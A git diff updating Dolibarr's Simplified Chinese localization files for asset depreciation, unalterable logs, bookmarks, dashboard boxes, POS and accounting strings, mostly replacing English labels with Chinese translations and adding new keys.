+AssetDepreciationOptionAcceleratedDepreciation=Accelerated depreciation (tax) +AssetDepreciationOptionDuration=为期 +AssetDepreciationOptionDurationType=Type duration +AssetDepreciationOptionDurationTypeAnnual=全年 +AssetDepreciationOptionDurationTypeMonthly=月度 +AssetDepreciationOptionDurationTypeDaily=Daily +AssetDepreciationOptionRate=Rate (%%) +AssetDepreciationOptionAmountBaseDepreciationHT=Depreciation base (excl. VAT) +AssetDepreciationOptionAmountBaseDeductibleHT=Deductible base (excl. VAT) +AssetDepreciationOptionTotalAmountLastDepreciationHT=Total amount last depreciation (excl. VAT) + +# +# Asset accountancy codes +# +AssetAccountancyCodeDepreciationEconomic=Economic depreciation +AssetAccountancyCodeAsset=资产 +AssetAccountancyCodeDepreciationAsset=折旧 +AssetAccountancyCodeDepreciationExpense=Depreciation expense +AssetAccountancyCodeValueAssetSold=Value of asset disposed +AssetAccountancyCodeReceivableOnAssignment=Receivable on disposal +AssetAccountancyCodeProceedsFromSales=Proceeds from disposal +AssetAccountancyCodeVatCollected=Collected VAT +AssetAccountancyCodeVatDeductible=Recovered VAT on assets +AssetAccountancyCodeDepreciationAcceleratedDepreciation=Accelerated depreciation (tax) +AssetAccountancyCodeAcceleratedDepreciation=账户 +AssetAccountancyCodeEndowmentAcceleratedDepreciation=Depreciation expense +AssetAccountancyCodeProvisionAcceleratedDepreciation=Repossession/Provision + +# +# Asset depreciation +# +AssetBaseDepreciationHT=Depreciation basis (excl. VAT) +AssetDepreciationBeginDate=Start of depreciation on +AssetDepreciationDuration=为期 +AssetDepreciationRate=Rate (%%) +AssetDepreciationDate=Depreciation date +AssetDepreciationHT=Depreciation (excl. VAT) +AssetCumulativeDepreciationHT=Cumulative depreciation (excl. VAT) +AssetResidualHT=Residual value (excl. VAT) +AssetDispatchedInBookkeeping=Depreciation recorded +AssetFutureDepreciationLine=Future depreciation +AssetDepreciationReversal=Reversal + +# +# Errors +# +AssetErrorAssetOrAssetModelIDNotProvide=Id of the asset or the model sound has not been provided +AssetErrorFetchAccountancyCodesForMode=Error when retrieving the accounting accounts for the '%s' depreciation mode +AssetErrorDeleteAccountancyCodesForMode=Error when deleting accounting accounts from the '%s' depreciation mode +AssetErrorInsertAccountancyCodesForMode=Error when inserting the accounting accounts of the depreciation mode '%s' +AssetErrorFetchDepreciationOptionsForMode=Error when retrieving options for the '%s' depreciation mode +AssetErrorDeleteDepreciationOptionsForMode=Error when deleting the '%s' depreciation mode options +AssetErrorInsertDepreciationOptionsForMode=Error when inserting the '%s' depreciation mode options +AssetErrorFetchDepreciationLines=Error when retrieving recorded depreciation lines +AssetErrorClearDepreciationLines=Error when purging recorded depreciation lines (reversal and future) +AssetErrorAddDepreciationLine=Error when adding a depreciation line +AssetErrorCalculationDepreciationLines=Error when calculating the depreciation lines (recovery and future) +AssetErrorReversalDateNotProvidedForMode=The reversal date is not provided for the '%s' depreciation method +AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=The reversal date must be greater than or equal to the beginning of the current fiscal year for the '%s' depreciation method +AssetErrorReversalAmountNotProvidedForMode=The reversal amount is not provided for the depreciation mode '%s'. +AssetErrorFetchCumulativeDepreciation=Error when retrieving the accumulated depreciation amount from the depreciation line +AssetErrorSetLastCumulativeDepreciation=Error when recording the last accumulated depreciation amount diff --git a/htdocs/langs/zh_CN/blockedlog.lang b/htdocs/langs/zh_CN/blockedlog.lang index c501fb4621f..4dc752e6765 100644 --- a/htdocs/langs/zh_CN/blockedlog.lang +++ b/htdocs/langs/zh_CN/blockedlog.lang @@ -1,47 +1,25 @@ -BlockedLog=Unalterable Logs +BlockedLog=不可更改的日志 Field=字段 BlockedLogDesc=This module tracks some events into an unalterable log (that you can't modify once recorded) into a block chain, in real time. This module provides compatibility with requirements of laws of some countries (like France with the law Finance 2016 - Norme NF525). -Fingerprints=Archived events and fingerprints +Fingerprints=归档的事件和指纹 FingerprintsDesc=This is the tool to browse or extract the unalterable logs. Unalterable logs are generated and archived locally into a dedicated table, in real time when you record a business event. You can use this tool to export this archive and save it into an external support (some countries, like France, ask that you do it every year). Note that, there is no feature to purge this log and every change tried to be done directly into this log (by a hacker for example) will be reported with a non-valid fingerprint. If you really need to purge this table because you used your application for a demo/test purpose and want to clean your data to start your production, you can ask your reseller or integrator to reset your database (all your data will be removed). -CompanyInitialKey=Company initial key (hash of genesis block) -BrowseBlockedLog=Unalterable logs -ShowAllFingerPrintsMightBeTooLong=Show all archived logs (might be long) -ShowAllFingerPrintsErrorsMightBeTooLong=Show all non-valid archive logs (might be long) -DownloadBlockChain=Download fingerprints +CompanyInitialKey=公司初始密钥 (创世区块的哈希值) +BrowseBlockedLog=不可更改的日志 +ShowAllFingerPrintsMightBeTooLong=显示所有的归档日志 (可能很长) +ShowAllFingerPrintsErrorsMightBeTooLong=显示所有的无效归档日志 (可能很长) +DownloadBlockChain=下载指纹 KoCheckFingerprintValidity=Archived log entry is not valid. It means someone (a hacker?) has modified some data of this record after it was recorded, or has erased the previous archived record (check that line with previous # exists) or has modified checksum of the previous record. -OkCheckFingerprintValidity=Archived log record is valid. The data on this line was not modified and the entry follows the previous one. -OkCheckFingerprintValidityButChainIsKo=Archived log seems valid compared to previous one but the chain was corrupted previously. -AddedByAuthority=Stored into remote authority -NotAddedByAuthorityYet=Not yet stored into remote authority -ShowDetails=Show stored details -logPAYMENT_VARIOUS_CREATE=Payment (not assigned to an invoice) created -logPAYMENT_VARIOUS_MODIFY=Payment (not assigned to an invoice) modified -logPAYMENT_VARIOUS_DELETE=Payment (not assigned to an invoice) logical deletion -logPAYMENT_ADD_TO_BANK=Payment added to bank -logPAYMENT_CUSTOMER_CREATE=Customer payment created -logPAYMENT_CUSTOMER_DELETE=Customer payment logical deletion -logDONATION_PAYMENT_CREATE=Donation payment created -logDONATION_PAYMENT_DELETE=Donation payment logical deletion -logBILL_PAYED=Customer invoice paid -logBILL_UNPAYED=Customer invoice set unpaid -logBILL_VALIDATE=客户发票已验证 -logBILL_SENTBYMAIL=Customer invoice send by mail -logBILL_DELETE=Customer invoice logically deleted -logMODULE_RESET=Module BlockedLog was disabled -logMODULE_SET=Module BlockedLog was enabled -logDON_VALIDATE=Donation validated -logDON_MODIFY=Donation modified -logDON_DELETE=Donation logical deletion -logMEMBER_SUBSCRIPTION_CREATE=Member subscription created -logMEMBER_SUBSCRIPTION_MODIFY=Member subscription modified -logMEMBER_SUBSCRIPTION_DELETE=Member subscription logical deletion -logCASHCONTROL_VALIDATE=Cash desk closing recording -BlockedLogBillDownload=Customer invoice download -BlockedLogBillPreview=Customer invoice preview -BlockedlogInfoDialog=Log Details +OkCheckFingerprintValidity=归档日志记录有效。此行的数据没被编辑过,并且该条目跟随在上一个条目之后。 +OkCheckFingerprintValidityButChainIsKo=跟之前的日志比较,归档日志似乎有效,但是链之前已损坏。 +AddedByAuthority=储存在远程授权中 +NotAddedByAuthorityYet=尚未储存在远程授权中 +ShowDetails=显示已储存的详细信息 +BlockedLogBillDownload=客户发票下载 +BlockedLogBillPreview=客户发票预览 +BlockedlogInfoDialog=日志详情 ListOfTrackedEvents=List of tracked events -Fingerprint=Fingerprint -DownloadLogCSV=Export archived logs (CSV) +Fingerprint=指纹 +DownloadLogCSV=导出归档日志 (CSV) logDOC_PREVIEW=Preview of a validated document in order to print or download logDOC_DOWNLOAD=Download of a validated document in order to print or send DataOfArchivedEvent=Full datas of archived event @@ -55,3 +33,29 @@ RestrictYearToExport=Restrict month / year to export BlockedLogEnabled=System to track events into unalterable logs has been enabled BlockedLogDisabled=System to track events into unalterable logs has been disabled after some recording were done. We saved a special Fingerprint to track the chain as broken BlockedLogDisabledBis=System to track events into unalterable logs has been disabled. This is possible because no record were done yet. + +## logTypes +logBILL_DELETE=Customer invoice logically deleted +logBILL_PAYED=Customer invoice paid +logBILL_SENTBYMAIL=Customer invoice send by mail +logBILL_UNPAYED=Customer invoice set unpaid +logBILL_VALIDATE=客户发票已验证 +logCASHCONTROL_VALIDATE=Cash desk closing recording +logDOC_DOWNLOAD=Download of a validated document in order to print or send +logDOC_PREVIEW=Preview of a validated document in order to print or download +logDONATION_PAYMENT_CREATE=Donation payment created +logDONATION_PAYMENT_DELETE=Donation payment logical deletion +logDON_DELETE=Donation logical deletion +logDON_MODIFY=Donation modified +logDON_VALIDATE=Donation validated +logMEMBER_SUBSCRIPTION_CREATE=Member subscription created +logMEMBER_SUBSCRIPTION_DELETE=Member subscription logical deletion +logMEMBER_SUBSCRIPTION_MODIFY=Member subscription modified +logMODULE_RESET=Module BlockedLog was disabled +logMODULE_SET=Module BlockedLog was enabled +logPAYMENT_ADD_TO_BANK=Payment added to bank +logPAYMENT_CUSTOMER_CREATE=Customer payment created +logPAYMENT_CUSTOMER_DELETE=Customer payment logical deletion +logPAYMENT_VARIOUS_CREATE=Payment (not assigned to an invoice) created +logPAYMENT_VARIOUS_DELETE=Payment (not assigned to an invoice) logical deletion +logPAYMENT_VARIOUS_MODIFY=Payment (not assigned to an invoice) modified diff --git a/htdocs/langs/zh_CN/bookmarks.lang b/htdocs/langs/zh_CN/bookmarks.lang index 40e308d67d9..44a64499024 100644 --- a/htdocs/langs/zh_CN/bookmarks.lang +++ b/htdocs/langs/zh_CN/bookmarks.lang @@ -6,17 +6,18 @@ ListOfBookmarks=书签列表 EditBookmarks=列出/编辑书签 NewBookmark=新建书签 ShowBookmark=显示书签 -OpenANewWindow=Open a new tab -ReplaceWindow=Replace current tab -BookmarkTargetNewWindowShort=New tab -BookmarkTargetReplaceWindowShort=Current tab -BookmarkTitle=Bookmark name +OpenANewWindow=打开新标签 +ReplaceWindow=替换当前标签 +BookmarkTargetNewWindowShort=新标签 +BookmarkTargetReplaceWindowShort=当前标签 +BookmarkTitle=书签名称 UrlOrLink=网址 BehaviourOnClick=选择书签URL时的行为 CreateBookmark=创建书签 -SetHereATitleForLink=Set a name for the bookmark -UseAnExternalHttpLinkOrRelativeDolibarrLink=Use an external/absolute link (https://externalurl.com) or an internal/relative link (/mypage.php). You can also use phone like tel:0123456. -ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Choose if the linked page should open in the current tab or a new tab +SetHereATitleForLink=为书签设置名称 +UseAnExternalHttpLinkOrRelativeDolibarrLink=使用外部/绝对链接(https://externalurl.com)或内部/相对链接(/mypage.php). 您也可以使用电话号码如tel:0123456. +ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=选择链接的页面在目前标签或者新标签中打开 BookmarksManagement=书签管理 BookmarksMenuShortCut=Ctrl + shift + m -NoBookmarks=No bookmarks defined +NoBookmarks=未设置任何书签 +NoBookmarkFound=未发现书签 diff --git a/htdocs/langs/zh_CN/boxes.lang b/htdocs/langs/zh_CN/boxes.lang index d2b765df1c0..7c28d7df6a6 100644 --- a/htdocs/langs/zh_CN/boxes.lang +++ b/htdocs/langs/zh_CN/boxes.lang @@ -1,120 +1,122 @@ # Dolibarr language file - Source file is en_US - boxes -BoxDolibarrStateBoard=Statistics on main business objects in database -BoxLoginInformation=Login Information -BoxLastRssInfos=RSS Information -BoxLastProducts=Latest %s Products/Services +BoxDolibarrStateBoard=数据库中主要业务对象的统计 +BoxLoginInformation=登录信息 +BoxLastRssInfos=RSS信息 +BoxLastProducts=最新的%s产品/服务 BoxProductsAlertStock=产品库存预警 BoxLastProductsInContract=最新已签了合同的 %s 产品/服务 -BoxLastSupplierBills=Latest Vendor invoices -BoxLastCustomerBills=Latest Customer invoices +BoxLastSupplierBills=最新供应商发票 +BoxLastCustomerBills=最新客户发票 BoxOldestUnpaidCustomerBills=最早未支付客户发票 -BoxOldestUnpaidSupplierBills=Oldest unpaid vendor invoices +BoxOldestUnpaidSupplierBills=最早未支付供应商发票 BoxLastProposals=最新商业报价 BoxLastProspects=最近变更的准客户 BoxLastCustomers=最新变更的客户 BoxLastSuppliers=最近变更的供应商 -BoxLastCustomerOrders=Latest sales orders +BoxLastCustomerOrders=最新销售订单 BoxLastActions=最近的动作 BoxLastContracts=最近的合同 BoxLastContacts=最新联系人/地址 BoxLastMembers=最新会员 -BoxLastModifiedMembers=Latest modified members -BoxLastMembersSubscriptions=Latest member subscriptions +BoxLastModifiedMembers=最新编辑过的会员 +BoxLastMembersSubscriptions=最新会员订阅 BoxFicheInter=最新干预 BoxCurrentAccounts=打开财务会计账单 -BoxTitleMemberNextBirthdays=Birthdays of this month (members) -BoxTitleMembersByType=Members by type -BoxTitleMembersSubscriptionsByYear=Members Subscriptions by year +BoxTitleMemberNextBirthdays=本月生日(会员) +BoxTitleMembersByType=按类型和状态分类的会员 +BoxTitleMembersSubscriptionsByYear=按年的会员订阅 BoxTitleLastRssInfos=来自 %s 的最新的 %s 条新闻 -BoxTitleLastProducts=Products/Services: last %s modified -BoxTitleProductsAlertStock=Products: stock alert +BoxTitleLastProducts=产品/服务:最新%s编辑过的 +BoxTitleProductsAlertStock=产品:库存预警 BoxTitleLastSuppliers=最近登记的 %s 位供应商 -BoxTitleLastModifiedSuppliers=Vendors: last %s modified -BoxTitleLastModifiedCustomers=Customers: last %s modified +BoxTitleLastModifiedSuppliers=供应商:最新%s编辑过的 +BoxTitleLastModifiedCustomers=客户:最新%s编辑过的 BoxTitleLastCustomersOrProspects=最近的 %s 位客户或准客户 -BoxTitleLastCustomerBills=Latest %s modified Customer invoices -BoxTitleLastSupplierBills=Latest %s modified Vendor invoices -BoxTitleLastModifiedProspects=Prospects: last %s modified +BoxTitleLastCustomerBills=最新%s编辑过的客户发票 +BoxTitleLastSupplierBills=最新%s编辑过的供应商发票 +BoxTitleLastModifiedProspects=准客户:最新%s编辑过的 BoxTitleLastModifiedMembers=新进 %s 位会员 BoxTitleLastFicheInter=最近变更的 %s 条干预 -BoxTitleOldestUnpaidCustomerBills=Customer Invoices: oldest %s unpaid -BoxTitleOldestUnpaidSupplierBills=Vendor Invoices: oldest %s unpaid -BoxTitleCurrentAccounts=Open Accounts: balances -BoxTitleSupplierOrdersAwaitingReception=Supplier orders awaiting reception -BoxTitleLastModifiedContacts=Contacts/Addresses: last %s modified -BoxMyLastBookmarks=Bookmarks: latest %s +BoxTitleOldestUnpaidCustomerBills=客户发票:最早%s未支付的 +BoxTitleOldestUnpaidSupplierBills=供应商发票:最早%s未支付的 +BoxTitleCurrentAccounts=打开帐户:余额 +BoxTitleSupplierOrdersAwaitingReception=等待接收的采购订单 +BoxTitleLastModifiedContacts=联系人/地址:最新%s编辑过的 +BoxMyLastBookmarks=书签:最新的%s BoxOldestExpiredServices=执行中的逾期时间最长的服务 +BoxOldestActions=Oldest events to do BoxLastExpiredServices=最近 %s 老联系人激活过期服务 BoxTitleLastActionsToDo=最近的 %s 个动作 -BoxTitleLastContracts=Latest %s contracts which were modified -BoxTitleLastModifiedDonations=Latest %s donations which were modified -BoxTitleLastModifiedExpenses=Latest %s expense reports which were modified -BoxTitleLatestModifiedBoms=Latest %s BOMs which were modified -BoxTitleLatestModifiedMos=Latest %s Manufacturing Orders which were modified -BoxTitleLastOutstandingBillReached=Customers with maximum outstanding exceeded +BoxTitleOldestActionsToDo=Oldest %s events to do, not completed +BoxTitleLastContracts=最新%s编辑过的合同 +BoxTitleLastModifiedDonations=最新%s编辑过的捐赠 +BoxTitleLastModifiedExpenses=最新%s编辑过的费用报告 +BoxTitleLatestModifiedBoms=最新%s编辑过的物料清单 +BoxTitleLatestModifiedMos=最新%s编辑过的制造订单 +BoxTitleLastOutstandingBillReached=超过最大未偿付额的客户 BoxGlobalActivity=全局活动(账单,报价,订单) BoxGoodCustomers=优质客户 BoxTitleGoodCustomers=%s 优质客户 -BoxScheduledJobs=计划任务 +BoxScheduledJobs=计划好的工作 BoxTitleFunnelOfProspection=Lead funnel -FailedToRefreshDataInfoNotUpToDate=Failed to refresh RSS flux. Latest successful refresh date: %s +FailedToRefreshDataInfoNotUpToDate=更新RSS流量失败,最新成功更新日期:%s LastRefreshDate=最后刷新日期 NoRecordedBookmarks=未设置任何书签。 ClickToAdd=点此添加 NoRecordedCustomers=空空如也——没有记录 NoRecordedContacts=无联系人记录 NoActionsToDo=无待办事项 -NoRecordedOrders=No recorded sales orders +NoRecordedOrders=没有已记录的销售订单 NoRecordedProposals=空空如也——没有报价单记录 -NoRecordedInvoices=没有记录的客户发票 +NoRecordedInvoices=没有已记录的客户发票 NoUnpaidCustomerBills=没有未付款的顾客发票 -NoUnpaidSupplierBills=No unpaid vendor invoices -NoModifiedSupplierBills=No recorded vendor invoices +NoUnpaidSupplierBills=没有未付款的供应商发票 +NoModifiedSupplierBills=没有已记录的供应商发票 NoRecordedProducts=空空如也——没有产品/服务记录 NoRecordedProspects=空空如也——没有潜在客户记录 NoContractedProducts=无签订合同的产品 NoRecordedContracts=空空如也——没有合同记录 NoRecordedInterventions=空空如也——没有干预措施的记录 -BoxLatestSupplierOrders=Latest purchase orders -BoxLatestSupplierOrdersAwaitingReception=Latest Purchase Orders (with a pending reception) -NoSupplierOrder=No recorded purchase order -BoxCustomersInvoicesPerMonth=Customer Invoices per month -BoxSuppliersInvoicesPerMonth=Vendor Invoices per month -BoxCustomersOrdersPerMonth=Sales Orders per month -BoxSuppliersOrdersPerMonth=Vendor Orders per month +BoxLatestSupplierOrders=最新采购订单 +BoxLatestSupplierOrdersAwaitingReception=最新采购订单(等待接收) +NoSupplierOrder=没有已记录的采购订单 +BoxCustomersInvoicesPerMonth=每月客户发票 +BoxSuppliersInvoicesPerMonth=每月供应商发票 +BoxCustomersOrdersPerMonth=每月销售订单 +BoxSuppliersOrdersPerMonth=每月采购订单 BoxProposalsPerMonth=每月报价 -NoTooLowStockProducts=No products are under the low stock limit -BoxProductDistribution=Products/Services Distribution +NoTooLowStockProducts=没有产品低于库存限制 +BoxProductDistribution=产品/服务分布 ForObject=On %s -BoxTitleLastModifiedSupplierBills=Vendor Invoices: last %s modified -BoxTitleLatestModifiedSupplierOrders=Vendor Orders: last %s modified -BoxTitleLastModifiedCustomerBills=Customer Invoices: last %s modified -BoxTitleLastModifiedCustomerOrders=Sales Orders: last %s modified +BoxTitleLastModifiedSupplierBills=供应商发票:最新%s编辑过的 +BoxTitleLatestModifiedSupplierOrders=采购订单:最新%s编辑过的 +BoxTitleLastModifiedCustomerBills=客户发票:最新%s编辑过的 +BoxTitleLastModifiedCustomerOrders=销售订单:最新%s编辑过的 BoxTitleLastModifiedPropals=最近变更的 %s 份报价 -BoxTitleLatestModifiedJobPositions=Latest %s modified job positions -BoxTitleLatestModifiedCandidatures=Latest %s modified job applications +BoxTitleLatestModifiedJobPositions=最新%s编辑过的职位 +BoxTitleLatestModifiedCandidatures=最新%s编辑过的职位申请 ForCustomersInvoices=客户发票 ForCustomersOrders=客户订单 ForProposals=报价 LastXMonthRolling=最后 %s 月波动 ChooseBoxToAdd=点击下拉菜单选择相应视图并添加到你的看板 BoxAdded=插件已添加到仪表板中 -BoxTitleUserBirthdaysOfMonth=Birthdays of this month (users) -BoxLastManualEntries=Latest record in accountancy entered manually or without source document -BoxTitleLastManualEntries=%s latest record entered manually or without source document -NoRecordedManualEntries=No manual entries record in accountancy -BoxSuspenseAccount=Count accountancy operation with suspense account -BoxTitleSuspenseAccount=Number of unallocated lines -NumberOfLinesInSuspenseAccount=Number of line in suspense account -SuspenseAccountNotDefined=Suspense account isn't defined -BoxLastCustomerShipments=Last customer shipments -BoxTitleLastCustomerShipments=Latest %s customer shipments -NoRecordedShipments=No recorded customer shipment -BoxCustomersOutstandingBillReached=Customers with oustanding limit reached +BoxTitleUserBirthdaysOfMonth=本月生日(用户) +BoxLastManualEntries=手工输入或没有源文档的最新会计记录 +BoxTitleLastManualEntries=手工输入或没有源文档的%s最新记录 +NoRecordedManualEntries=会计没有手动输入记录 +BoxSuspenseAccount=用暂记账户清点会计业务 +BoxTitleSuspenseAccount=未分配的行数量 +NumberOfLinesInSuspenseAccount=暂记账户中的行数量 +SuspenseAccountNotDefined=暂记账户未定义 +BoxLastCustomerShipments=最近客户发货 +BoxTitleLastCustomerShipments=最新%s客户发货 +NoRecordedShipments=没有已记录的客户发货 +BoxCustomersOutstandingBillReached=已达到未偿付限额的客户 # Pages -UsersHome=Home users and groups -MembersHome=Home Membership -ThirdpartiesHome=Home Thirdparties -TicketsHome=Home Tickets -AccountancyHome=Home Accountancy -ValidatedProjects=Validated projects +UsersHome=用户和群组首页 +MembersHome=会员首页 +ThirdpartiesHome=第三方首页 +TicketsHome=工单首页 +AccountancyHome=会计首页 +ValidatedProjects=已验证的项目 diff --git a/htdocs/langs/zh_CN/cashdesk.lang b/htdocs/langs/zh_CN/cashdesk.lang index 5c56bf4ce3b..e455900af65 100644 --- a/htdocs/langs/zh_CN/cashdesk.lang +++ b/htdocs/langs/zh_CN/cashdesk.lang @@ -33,7 +33,7 @@ DeleteArticle=删除项目 FilterRefOrLabelOrBC=搜索 (REF /标签) UserNeedPermissionToEditStockToUsePos=您要求减少发票创建的库存,因此使用POS的用户需要具有编辑库存的权限。 DolibarrReceiptPrinter=Dolibarr 发票打印机 -PointOfSale=Point of Sale +PointOfSale=销售点 PointOfSaleShort=POS CloseBill=Close Bill Floors=地板 @@ -50,8 +50,8 @@ Footer=Footer AmountAtEndOfPeriod=Amount at end of period (day, month or year) TheoricalAmount=Theorical amount RealAmount=Real amount -CashFence=Cash desk closing -CashFenceDone=Cash desk closing done for the period +CashFence=Cash box closing +CashFenceDone=Cash box closing done for the period NbOfInvoices=发票数 Paymentnumpad=Type of Pad to enter payment Numberspad=Numbers Pad @@ -92,7 +92,7 @@ HeadBar=Head Bar SortProductField=Field for sorting products Browser=浏览器 BrowserMethodDescription=Simple and easy receipt printing. Only a few parameters to configure the receipt. Print via browser. -TakeposConnectorMethodDescription=External module with extra features. Posibility to print from the cloud. +TakeposConnectorMethodDescription=具有额外功能的外部模块。有可能从云端打印。 PrintMethod=Print method ReceiptPrinterMethodDescription=Powerful method with a lot of parameters. Full customizable with templates. The server hosting the application can't be in the Cloud (must be able to reach the printers in your network). ByTerminal=By terminal @@ -102,8 +102,8 @@ CashDeskGenericMaskCodes6 =
      {TN} tag is used to add the terminal numb TakeposGroupSameProduct=Group same products lines StartAParallelSale=Start a new parallel sale SaleStartedAt=Sale started at %s -ControlCashOpening=Open the "Control cash" popup when opening the POS -CloseCashFence=Close cash desk control +ControlCashOpening=Open the "Control cash box" popup when opening the POS +CloseCashFence=Close cash box control CashReport=Cash report MainPrinterToUse=Main printer to use OrderPrinterToUse=Order printer to use @@ -111,7 +111,7 @@ MainTemplateToUse=Main template to use OrderTemplateToUse=Order template to use BarRestaurant=Bar Restaurant AutoOrder=Order by the customer himself -RestaurantMenu=Menu +RestaurantMenu=菜单 CustomerMenu=Customer menu ScanToMenu=Scan QR code to see the menu ScanToOrder=Scan QR code to order @@ -134,3 +134,14 @@ PrintWithoutDetailsButton=Add "Print without details" button PrintWithoutDetailsLabelDefault=Line label by default on printing without details PrintWithoutDetails=Print without details YearNotDefined=Year is not defined +TakeposBarcodeRuleToInsertProduct=Barcode rule to insert product +TakeposBarcodeRuleToInsertProductDesc=Rule to extract the product reference + a quantity from a scanned barcode.
      If empty (default value), application will use the full barcode scanned to find the product.

      If defined, syntax must be:
      ref:NB+qu:NB+qd:NB+other:NB
      where NB is the number of characters to use to extract data from the scanned barcode with:
      • ref : product reference
      • qu : quantity to set when inserting item (units)
      • qd : quantity to set when inserting item (decimals)
      • other : others characters
      +AlreadyPrinted=Already printed +HideCategories=Hide categories +HideStockOnLine=Hide stock on line +ShowOnlyProductInStock=Show the products in stock +ShowCategoryDescription=Show category description +ShowProductReference=Show reference of products +UsePriceHT=Use price excl. taxes and not price incl. taxes +TerminalName=Terminal %s +TerminalNameDesc=Terminal name diff --git a/htdocs/langs/zh_CN/commercial.lang b/htdocs/langs/zh_CN/commercial.lang index 146eef98814..509fdd8f851 100644 --- a/htdocs/langs/zh_CN/commercial.lang +++ b/htdocs/langs/zh_CN/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=准客户状态 DraftPropals=起草商业报价 NoLimit=没有限制 ToOfferALinkForOnlineSignature=链接在线签名 -WelcomeOnOnlineSignaturePage=Welcome to the page to accept commercial proposals from %s -ThisScreenAllowsYouToSignDocFrom=此屏幕允许您接受,签署或拒绝报价/商业提案 -ThisIsInformationOnDocumentToSign=这是关于接受或拒绝的文件的信息 +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Signature of quote/commercial proposal %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=禁用联机签名的功能或在启用功能之前生成的文档 diff --git a/htdocs/langs/zh_CN/compta.lang b/htdocs/langs/zh_CN/compta.lang index 7da2d81ffc6..10550d85fac 100644 --- a/htdocs/langs/zh_CN/compta.lang +++ b/htdocs/langs/zh_CN/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=平衡(之前) Balance=平衡 Debit=借方 Credit=贷方 +AccountingDebit=借记卡 +AccountingCredit=贷方 Piece=会计文档. AmountHTVATRealReceived=净收入 AmountHTVATRealPaid=净支出 @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=删除社会或财政税款 DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=社会和财政税和付款 CalcModeVATDebt=模式 %sVAT 关于承诺债务%s. CalcModeVATEngagement=模式 %s 增值税收入,支出 %s. @@ -164,7 +168,7 @@ CalcModeLT2Rec= 模式 %sIRPF 供应商发票%s AnnualSummaryDueDebtMode=年度总结的收支平衡表 AnnualSummaryInputOutputMode=年度总结的收支平衡表 AnnualByCompanies=按预定义的帐户组划分的收入和支出余额 -AnnualByCompaniesDueDebtMode=收支平衡,详细按合作方,模式%sClaims-Debts%s,据说承诺债务。 +AnnualByCompaniesDueDebtMode=收支平衡,详细按预定义组别,模式为%s索赔-债务%s,据说承诺会计。 AnnualByCompaniesInputOutputMode=收支平衡,详细按合作方,模式%sIncomes-Expenses%s,据说现金会计。 SeeReportInInputOutputMode=See %sanalysis of payments%s for a calculation based on recorded payments made even if they are not yet accounted in Ledger SeeReportInDueDebtMode=See %sanalysis of recorded documents%s for a calculation based on known recorded documents even if they are not yet accounted in Ledger @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=不提供每件商品收集 TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=无法按销售税率收取营业额报告。此报告仅适用于已开票的营业额。 CalculationMode=计算模式 AccountancyJournal=科目代码日记账 -ACCOUNTING_VAT_SOLD_ACCOUNT=销售增值税的默认会计科目(如果未在增值税字典设置中定义,则使用) -ACCOUNTING_VAT_BUY_ACCOUNT=默认会计科目-采购增值税(如果未在增值税字典设置中定义,则使用) -ACCOUNTING_VAT_PAY_ACCOUNT=默认会计科目-支付增值税 -ACCOUNTING_ACCOUNT_CUSTOMER=用于顾客合作方的会计科目 +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=用于供应商合作方的会计帐户 +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ 